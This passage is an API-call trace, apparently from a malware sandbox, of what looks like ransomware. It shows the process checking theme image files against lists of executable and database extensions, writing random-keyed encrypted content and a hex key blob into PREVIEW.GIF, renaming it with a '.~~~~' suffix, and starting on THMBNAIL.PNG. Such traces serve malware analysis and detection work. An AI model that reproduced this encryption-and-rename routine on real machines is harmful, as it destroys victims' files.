	[0084.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0084.576] lstrlenW (lpString=".sql") returned 4
	[0084.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0084.576] lstrlenW (lpString=".MYD") returned 4
	[0084.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0084.576] lstrlenW (lpString=".DBT") returned 4
	[0084.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0084.576] lstrlenW (lpString=".ACCDB") returned 6
	[0084.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0084.576] lstrlenW (lpString=".fdb") returned 4
	[0084.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0084.576] lstrlenW (lpString=".bak") returned 4
	[0084.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0084.576] lstrlenW (lpString=".myd") returned 4
	[0084.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0084.576] lstrlenW (lpString=".DTXS") returned 5
	[0084.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0084.576] lstrlenW (lpString=".ckp") returned 4
	[0084.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0084.577] lstrlenW (lpString=".dbt") returned 4
	[0084.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0084.577] lstrlenW (lpString=".db") returned 3
	[0084.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0084.577] lstrlenW (lpString=".TXT") returned 4
	[0084.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0084.577] lstrlenW (lpString=".MDF") returned 4
	[0084.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0084.577] lstrlenW (lpString=".bdb") returned 4
	[0084.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0084.577] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363030
	[0084.577] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395388) returned 1
	[0084.578] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363030 | out: pbBuffer=0x363030) returned 1
	[0084.578] CryptReleaseContext (hProv=0x395388, dwFlags=0x0) returned 1
	[0084.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363030 | out: hHeap=0x300000) returned 1
	[0084.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0084.578] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20456859446) returned 1
	[0084.579] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9c3fb970, dwHighDateTime=0x1d60e1e)) 
	[0084.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0084.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0084.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0084.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2988
	[0084.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.579] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2988 | out: hHeap=0x300000) returned 1
	[0084.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.579] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808fa8
	[0084.579] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.579] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808fa8 | out: hHeap=0x300000) returned 1
	[0084.579] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0084.579] GetLastError () returned 0x0
	[0084.580] GetLastError () returned 0x0
	[0084.580] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0084.580] GetLastError () returned 0x0
	[0084.580] GetLastError () returned 0x0
	[0084.582] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff654, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.582] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x9ac, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x9ac, lpOverlapped=0x0) returned 1
	[0084.582] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0084.582] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.582] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.582] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.582] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.583] CloseHandle (hObject=0x124) returned 1
	[0084.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0084.583] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.~~~~")) returned 1
	[0084.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0084.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0084.588] GetLastError () returned 0x0
	[0084.588] RtlWakeConditionVariable () returned 0x365f70
	[0084.588] GetCurrentThreadId () returned 0xaf0
	[0084.588] GetCurrentThreadId () returned 0xaf0
	[0084.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808330
	[0084.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28090f8 | out: hHeap=0x300000) returned 1
	[0084.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a29c0 | out: hHeap=0x300000) returned 1
	[0084.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28090f8
	[0084.588] lstrlenW (lpString=".scr") returned 4
	[0084.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0084.589] lstrlenW (lpString=".cmd") returned 4
	[0084.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0084.589] lstrlenW (lpString=".dll") returned 4
	[0084.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0084.589] lstrlenW (lpString=".bat") returned 4
	[0084.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0084.589] lstrlenW (lpString=".cpl") returned 4
	[0084.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0084.589] lstrlenW (lpString=".sys") returned 4
	[0084.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0084.589] lstrlenW (lpString=".msc") returned 4
	[0084.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0084.589] lstrlenW (lpString=".com") returned 4
	[0084.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0084.589] lstrlenW (lpString=".lnk") returned 4
	[0084.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0084.589] lstrlenW (lpString=".msp") returned 4
	[0084.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0084.589] lstrlenW (lpString=".pif") returned 4
	[0084.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0084.589] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0084.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0084.590] lstrlenW (lpString=".sqb") returned 4
	[0084.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0084.590] lstrlenW (lpString=".ost") returned 4
	[0084.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0084.590] lstrlenW (lpString=".txt") returned 4
	[0084.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0084.590] lstrlenW (lpString=".mdt") returned 4
	[0084.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0084.590] lstrlenW (lpString=".BDB") returned 4
	[0084.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0084.591] lstrlenW (lpString=".eql") returned 4
	[0084.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0084.591] lstrlenW (lpString=".DBF") returned 4
	[0084.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0084.591] lstrlenW (lpString=".EQL") returned 4
	[0084.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0084.591] lstrlenW (lpString=".FDB") returned 4
	[0084.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0084.591] lstrlenW (lpString=".EDB") returned 4
	[0084.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0084.591] lstrlenW (lpString=".DACPAC") returned 7
	[0084.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0084.591] lstrlenW (lpString=".VHD") returned 4
	[0084.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0084.591] lstrlenW (lpString=".DBV") returned 4
	[0084.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0084.591] lstrlenW (lpString=".dacpac") returned 7
	[0084.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0084.591] lstrlenW (lpString=".sdf") returned 4
	[0084.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0084.592] lstrlenW (lpString=".accdb") returned 6
	[0084.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0084.592] lstrlenW (lpString=".DBX") returned 4
	[0084.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0084.592] lstrlenW (lpString=".MDT") returned 4
	[0084.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0084.592] lstrlenW (lpString=".SQB") returned 4
	[0084.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0084.592] lstrlenW (lpString=".vhd") returned 4
	[0084.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0084.592] lstrlenW (lpString=".bac") returned 4
	[0084.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0084.592] lstrlenW (lpString=".mdf") returned 4
	[0084.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0084.592] lstrlenW (lpString=".BAK") returned 4
	[0084.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0084.592] lstrlenW (lpString=".BAC") returned 4
	[0084.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0084.593] lstrlenW (lpString=".dbs") returned 4
	[0084.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0084.593] lstrlenW (lpString=".vhdx") returned 5
	[0084.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0084.593] lstrlenW (lpString=".NDF") returned 4
	[0084.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0084.593] lstrlenW (lpString=".dat") returned 4
	[0084.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0084.593] lstrlenW (lpString=".DBS") returned 4
	[0084.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0084.593] lstrlenW (lpString=".CKP") returned 4
	[0084.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0084.594] lstrlenW (lpString=".edb") returned 4
	[0084.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0084.594] lstrlenW (lpString=".PST") returned 4
	[0084.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0084.594] lstrlenW (lpString=".dbf") returned 4
	[0084.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0084.594] lstrlenW (lpString=".SQL") returned 4
	[0084.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0084.594] lstrlenW (lpString=".pst") returned 4
	[0084.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0084.594] lstrlenW (lpString=".dbv") returned 4
	[0084.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0084.594] lstrlenW (lpString=".SDF") returned 4
	[0084.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0084.594] lstrlenW (lpString=".dtxs") returned 5
	[0084.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0084.594] lstrlenW (lpString=".db3") returned 4
	[0084.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0084.594] lstrlenW (lpString=".OST") returned 4
	[0084.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0084.594] lstrlenW (lpString=".dbx") returned 4
	[0084.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0084.595] lstrlenW (lpString=".DB3") returned 4
	[0084.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0084.595] lstrlenW (lpString=".DAT") returned 4
	[0084.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0084.595] lstrlenW (lpString=".VHDX") returned 5
	[0084.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0084.595] lstrlenW (lpString=".ndf") returned 4
	[0084.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0084.595] lstrlenW (lpString=".DB") returned 3
	[0084.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0084.595] lstrlenW (lpString=".sql") returned 4
	[0084.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0084.595] lstrlenW (lpString=".MYD") returned 4
	[0084.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0084.595] lstrlenW (lpString=".DBT") returned 4
	[0084.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0084.595] lstrlenW (lpString=".ACCDB") returned 6
	[0084.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0084.595] lstrlenW (lpString=".fdb") returned 4
	[0084.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0084.595] lstrlenW (lpString=".bak") returned 4
	[0084.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0084.596] lstrlenW (lpString=".myd") returned 4
	[0084.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0084.596] lstrlenW (lpString=".DTXS") returned 5
	[0084.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0084.596] lstrlenW (lpString=".ckp") returned 4
	[0084.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0084.596] lstrlenW (lpString=".dbt") returned 4
	[0084.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0084.596] lstrlenW (lpString=".db") returned 3
	[0084.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0084.596] lstrlenW (lpString=".TXT") returned 4
	[0084.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0084.596] lstrlenW (lpString=".MDF") returned 4
	[0084.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0084.596] lstrlenW (lpString=".bdb") returned 4
	[0084.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0084.596] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363030
